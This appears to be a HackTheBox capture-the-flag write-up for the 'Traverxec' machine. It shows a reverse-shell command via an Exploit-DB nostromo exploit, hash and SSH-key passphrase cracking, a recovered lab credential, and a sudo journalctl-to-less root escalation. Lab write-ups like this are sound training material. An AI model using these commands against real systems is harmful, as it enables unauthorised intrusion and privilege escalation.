

Traverxec

• CTF	HackTheBox
:≡ Category	Writeup
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■ Description	
≔ Fields	
• Level	Easy
:≣ Tags	

Info

Credential

<u>Aa</u> User	≡ Password	≡ Service	■ Note
<u>david</u>			passphrase: hunter

HTTP

- Server: nostromo 1.9.6
- /empty.html
- /~david

Path

Traverxec 1

User

1. Run 47837.py from EDB, and get the reverse shell.

```
python2 47837.py $ip 80 "bash -c 'bash -i >& /dev/tcp/10.10.16.3/13337 0>&1'"
```

- 2. Find david's hash at /var/nostromo/conf/.htpasswd and crack the password.
- 3. According to the document, found /~david and possible directory public_www.

```
$ cat /var/nostromo/conf/nhttpd.conf
# HOMEDIRS [OPTIONAL]
homedirs
                        /home
homedirs_public
                        public_www
$ man nhttpd
HOMEDIRS
     To serve the home directories of your users via HTTP, enable the homedirs option
by defining the path in where the home directories are
     stored, normally /home. To access a users home directory enter a \sim in the URL f
ollowed by the home directory name like in this example:
           <http://www.nazgul.ch/~hacki/>
     The content of the home directory is handled exactly the same way as a directory
in your document root. If some users don't want that their
     home directory can be accessed via HTTP, they shall remove the world readable fl
ag on their home directory and a caller will receive a 403
     Forbidden response. Also, if basic authentication is enabled, a user can create
an .htaccess file in his home directory and a caller will
     need to authenticate.
     You can restrict the access within the home directories to a single sub director
y by defining it via the homedirs_public option.
```

- 4. Since user www-data has execute right on the directory /home/david, we can cd into david/public_www.
- 5. Get backup-ssh-identity-files.tgz in /home/david/public_www, then decompress it to get id_rsa. Crack the passphrase with john.

```
www-data@traverxec:/dev/shm$ ls
total 560
drwxrwxrwt 3 root root 160 Jul 31 11:09 .
```

Traverxec 2

```
drwxr-xr-x 16 root root 3160 Jul 31 03:30 ..
-rw-r--r- 1 www-data www-data 1915 Jul 31 11:02 backup-ssh-identity-files.tgz
www-data@traverxec:/dev/shm$ tar zxvf backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
```

6. Login via SSH and get the user flag.

Root

1. From ~/bin/server-stats.sh, it reveals david can run /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service as root without password.

```
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
```

2. Shrink the column of the tty to less than 5, so we can be sent into less. Then use less to spawn a shell and get the root flag.

(less)

```
$ stty cols 4
$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
!/bin/bash
$ whoami
root
```

Traverxec 3